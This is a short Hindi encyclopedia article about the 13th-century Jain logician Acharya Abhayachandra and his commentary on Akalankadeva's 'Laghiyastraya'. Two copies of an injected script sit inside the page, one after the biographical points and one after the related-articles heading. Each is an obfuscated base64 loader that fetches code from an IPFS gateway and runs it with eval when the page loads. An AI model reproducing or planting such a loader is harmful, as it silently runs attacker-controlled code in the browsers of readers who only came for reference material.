अभयचन्द्र
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 08:05, 3 जनवरी 2012 का अवतरण (Text replace - "==संबंधित लेख==" to "==संबंधित लेख== {{दार्शनिक}}")
आचार्य अभयचन्द्र
- ये वि. सं. 13वीं शती के तार्किक हैं।
- इन्होंने अकलंकदेव के तर्कग्रन्थ 'लघीयस्त्रय' पर 'लघीयस्त्रयतात्पर्यवृत्ति' नाम की स्पष्टार्थबोधक लघुकाय वृत्ति लिखी है, जो माणिकचन्द्र दि0 जैन ग्रन्थमाला, बम्बई से प्रकाशित हो चुकी है, पर वह अलभ्य है।
- उसका एक अच्छा आधुनिक सम्पादन के साथ संस्करण निकलना चाहिए।
- इसकी तर्कपद्धति सुगम एवं आकर्षक है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>